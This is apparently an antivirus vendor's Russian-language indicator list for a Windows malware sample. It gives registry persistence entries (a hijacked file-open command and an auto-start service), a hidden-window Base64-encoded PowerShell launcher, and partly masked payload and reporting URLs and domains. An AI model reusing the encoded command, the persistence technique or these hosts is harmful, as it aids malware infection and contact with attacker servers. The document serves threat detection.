Техническая информация
- [<HKLM>\Software\Classes\Spiro.Document\shell\open\command] '' = '%HOMEPATH%\820.exe "%1"'
- [<HKLM>\SOFTWARE\CLASSES\Spiro.Document\shell\open\command] '' = '<SYSTEM32>\MSCMSP~1.EXE "%1"'
- [<HKLM>\System\CurrentControlSet\Services\mscmsplain] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\mscmsplain] 'ImagePath' = '"<SYSTEM32>\mscmsplain.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncoD PAAjACAAVQBnAHIAZwB6AG8AcQBsAHgAYwB4AHgAcgAgAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG0AaQBjAHIAbwBzAG8AZgB0AC4AYwBvAG0ALwBMAGIAdQB3AGwAcgB0AG0AZwBnACAAIwA+ACAAJABHAHkAZwBpAHMAdABvAG4AbgB1AGMAeA...
- %HOMEPATH%\820.exe
- %HOMEPATH%\820.exe в <SYSTEM32>\mscmsplain.exe
- http://wp.##dnicky.cz/wp-core/uwvhYBcW/
- http://19#.#95.148.163/report/
- DNS ASK ho###lizbeth.mx
- DNS ASK co####entlook.co.uk
- DNS ASK wp.##dnicky.cz
- '%HOMEPATH%\820.exe'
- '<SYSTEM32>\mscmsplain.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncoD PAAjACAAVQBnAHIAZwB6AG8AcQBsAHgAYwB4AHgAcgAgAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG0AaQBjAHIAbwBzAG8AZgB0AC4AYwBvAG0ALwBMAGIAdQB3AGwAcgB0AG0AZwBnACAAIwA+ACAAJABHAHkAZwBpAHMAdABvAG4AbgB1AGMAeA...' (со скрытым окном)